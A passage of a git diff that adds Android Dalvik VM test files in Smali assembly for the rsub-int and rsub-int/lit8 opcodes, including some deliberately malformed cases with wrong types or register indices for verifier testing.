+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 4
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int v0, v3, 60
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int v0, v3, 20
+       return v0
+.end method
+
+.method public run3(I)I
+.registers 4
+
+       rsub-int v0, v3, -25
+       return v0
+.end method
+
+.method public run4(I)I
+.registers 4
+
+       rsub-int v0, v3, -70
+       return v0
+.end method
+
+.method public run5(I)I
+.registers 4
+
+       rsub-int v0, v3, -50
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali
new file mode 100644
index 0000000..e9c3df4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_10.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali
new file mode 100644
index 0000000..219aba6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_11.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali
new file mode 100644
index 0000000..e6f0434
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_12.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       rsub-int v0, v3, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali
new file mode 100644
index 0000000..16f9308
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_2.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 255
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int v0, v3, -32768
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int v0, v3, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali
new file mode 100644
index 0000000..685689f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_3.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali
new file mode 100644
index 0000000..8064980
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_4.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 32767
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali
new file mode 100644
index 0000000..4b32ee5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_5.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, -32768
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali
new file mode 100644
index 0000000..f0f4985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_6.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali
new file mode 100644
index 0000000..41400f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_7.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali
new file mode 100644
index 0000000..d2bc678
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_8.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v4, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali
new file mode 100644
index 0000000..ac41fa0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_9.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali
new file mode 100644
index 0000000..45f39e6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali

@@ -0,0 +1,67 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 4
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 60
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 20
+       return v0
+.end method
+
+.method public run3(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -25
+       return v0
+.end method
+
+.method public run4(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -70
+       return v0
+.end method
+
+.method public run5(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -50
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali
new file mode 100644
index 0000000..fc1cd39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali
new file mode 100644
index 0000000..e73a193
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali
new file mode 100644
index 0000000..0a0d4d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali
new file mode 100644
index 0000000..1606a55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 123
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -123
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali
new file mode 100644
index 0000000..8ecc056
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali
new file mode 100644
index 0000000..233d836
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 127
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali
new file mode 100644
index 0000000..dfd7bcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -128
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali
new file mode 100644
index 0000000..a415826
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali
new file mode 100644
index 0000000..9588de7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali
new file mode 100644
index 0000000..468e753
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v4, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali
new file mode 100644
index 0000000..9f2aa22
--- /dev/null
